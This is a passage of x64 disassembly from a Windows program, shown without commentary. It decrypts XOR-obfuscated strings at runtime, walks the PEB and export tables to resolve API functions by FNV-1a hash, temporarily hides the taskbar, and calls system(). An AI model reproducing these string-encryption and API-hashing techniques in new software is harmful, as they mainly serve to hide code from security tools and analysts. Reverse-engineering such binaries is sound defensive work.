imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140008a90
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x4f0]
call fcn.14000d5a0
nop
mov r8, qword [rsp + 0x2a8]
mov rdx, qword [rsp + 0x2a0]
sub r8, rdx
lea rcx, [rsp + 0x4f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x4f8]
call fcn.14000eac0
test rax, rax
jne 0x140008b2d
mov rax, qword [rsp + 0x4f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x4f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [str.vqtm_]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088d80]
movups xmmword [rsp + 0x120], xmm1
movsd xmm0, qword [0x140088d90]
movsd qword [rsp + 0x130], xmm0
movzx eax, word [0x140088d98]
mov word [rsp + 0x138], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140008cc5
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140008ba0
cmp r8d, 0x2a
jge 0x140008d10
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x140008ce0
xorps xmm0, xmm0
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], rbx
lea rax, [rsp + 0x110]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140008d36
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x230]
call fcn.140010150
nop
movups xmm0, xmmword [0x140088ca8]
movups xmmword [rsp + 0x110], xmm0
movups xmm1, xmmword [0x140088cb8]
movups xmmword [rsp + 0x120], xmm1
mov eax, dword [0x140088cc8]
mov dword [rsp + 0x130], eax
movzx eax, byte [0x140088ccc]
mov byte [rsp + 0x134], al
mov r8d, ebx
cmp r12d, 2
jl 0x140008ee5
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x110]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140008dc0
cmp r8d, 0x25
jge 0x140008f30
movsxd rax, r8d
lea r9, [rsp + 0x110]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x140008f00
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], rbx
lea rax, [rsp + 0x110]
inc r14
cmp byte [rax + r14], 0
jne 0x140008f53
mov r8, r14
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x188]
call fcn.140010150
nop
mov rcx, qword [rsp + 0x198]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
mov rdx, qword [rsp + 0x240]
cmp rax, rdx
jb 0x14000d191
lea r9, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 0x10
cmovae r9, qword [rsp + 0x188]
lea rax, [rsp + 0x230]
cmp qword [rsp + 0x248], 0x10
cmovae rax, qword [rsp + 0x230]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x1f0]
call fcn.140010fe0
nop
xor edx, edx
lea rcx, str.Shell_traywnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov r15, rax
xor r9d, r9d
lea r8, str.Shell_SecondaryTrayWnd
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rsi, rax
mov qword [rsp + 0x1a8], rax
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
lea rsi, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 0x10
cmovae rsi, qword [rsp + 0x1f0]
mov rcx, qword gs:[0x60]
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400090da
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400090da
mov edx, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0x6bfd4a82
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400090d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400090b0
cmp r8d, 0x2dfbc7eb
je 0x1400090df
test r10d, r10d
mov edx, dword [r11 + 0x20]
jne 0x140009090
mov rax, qword [rax]
jmp 0x140009060
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx r8d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov rcx, rsi
call rax
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x140088c98]
mov qword [rsp + 0x50], rax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140009270
cmp r12d, 2
jl 0x14000922d
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x140009270
lea r9, [rsp + 0x50]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140009240
lea rcx, [rsp + 0x50]
call fcn.140004e90
test al, al
je 0x140009856
call fcn.140004800
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x2f8]
call fcn.14000d200
mov rcx, rax
cmp byte [rax + 7], 0
je 0x1400093f2
cmp r12d, 2
jl 0x1400093ad
movdqa xmm4, xmmword [0x140091590]
movd xmm5, r13d
movd xmm6, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x1400093f2
mov r10, rcx
mov r9d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x34
movzx eax, r9b
sub al, r8b
add al, 0x35
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x1400093c0
mov rdx, rcx
mov rcx, r11
call fcn.14000f4c0
call fcn.140004860
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x70]
call fcn.14000d210
movzx edx, byte [rax + 8]
test dl, dl
je 0x140009440
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor dl, 0x3d
mov byte [rax + 8], dl
mov rdx, rax
call fcn.14000f4c0
lea rdx, [rsp + 0x88]
call fcn.14000d230
mov r8, rax
cmp byte [rax + 0xb], 0
je 0x1400095b0
mov r10d, ebx
cmp r12d, 2
jl 0x140009572
movdqa xmm4, xmmword [0x140091590]
movd xmm5, r13d
movd xmm6, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8]
xorps xmm2, xmm0
movd dword [r8], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r8 + 4]
xorps xmm2, xmm0
movd dword [r8 + 4], xmm2
mov r10d, 8
movsxd r9, r10d
add r9, r8
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r10b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r10d
lea r9, [r9 + 1]
cmp r10d, 0xc
jl 0x140009580
mov rdx, r8
lea rcx, [rsp + 0x110]
call fcn.14000e760
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140020fe0
mov edx, 5
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 5
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rsp + 0xb0]
call fcn.14000d250
mov r10, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov esi, dword [rdx + r9 + 0x88]
add rsi, r9
cmp rsi, r9
je 0x140009696
mov r11d, dword [rsi + 0x18]
test r11d, r11d
je 0x140009696
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [r9 + r11*4]
mov edx, dword [rax + r15]
add rdx, r9
mov r8d, 0x8e2b7b32
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140009691
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140009670
cmp r8d, 0x94dd5e5b
je 0x14000969b
test r11d, r11d
jne 0x140009650
mov rcx, qword [rcx]
jmp 0x140009620
mov ecx, dword [rsi + 0x24]
add rcx, r9
movzx edx, word [rcx + r11*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r9
mov r11d, dword [rcx + rdx*4]
add r11, r9
cmp byte [r10 + 0x1c], 0
je 0x14000983c
cmp r12d, 2
jl 0x140009804
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, r10
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x1400096e2
cmp eax, 0x1d
jge 0x14000983c
movsxd r8, ebx
add r8, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1d
jl 0x140009810
mov rcx, r10
call r11
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140004830
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x1d0]
call fcn.14000d280
mov r8, rax
cmp byte [rax + 0x15], 0
je 0x1400099fc
mov ecx, ebx
cmp r12d, 2
jl 0x1400099c2
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rdx, rax
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400098a2
cmp ecx, 0x16
jge 0x1400099fc
movsxd r9, ecx
add r9, r8
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x16
jl 0x1400099d0
mov rdx, r8
mov rcx, r10
call fcn.14000f4c0
lea rdx, [rsp + 0x1d0]
call fcn.14000d2b0
mov r8, rax
cmp byte [rax + 0x14], 0
je 0x140009b9c
cmp r12d, 2
jl 0x140009b67
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
mov rcx, rax
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x140009a45
cmp eax, 0x15
jge 0x140009b9c
movsxd r9, ebx
add r9, r8
nop dword [rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x35
xor byte [r9], al
inc ebx
lea r9, [r9 + 1]
cmp ebx, 0x15
jl 0x140009b70
mov rdx, r8
lea rcx, [rsp + 0x110]
call fcn.14000e760
mov rdx, rax
lea rcx, [rsp + 0x600]
call fcn.140020fe0
mov edx, 5
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 5
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [rsp + 0x1b8], ebx
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdx, qword [rsp + 0x290]
cmp rdx, 0x10
jb 0x14000ccab
inc rdx
mov rcx, qword [rsp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cca5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cca5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.q_PQM_WySJV4_._24H]
movups xmmword [rsp + 0x1b0], xmm0
mov eax, dword [0x140088bb0]
mov dword [rsp + 0x1c0], eax
cmp byte [0x140088bb3], 0
je 0x140009e20
mov r8d, ebx
cmp r12d, 2
jl 0x140009dd5
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1b0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
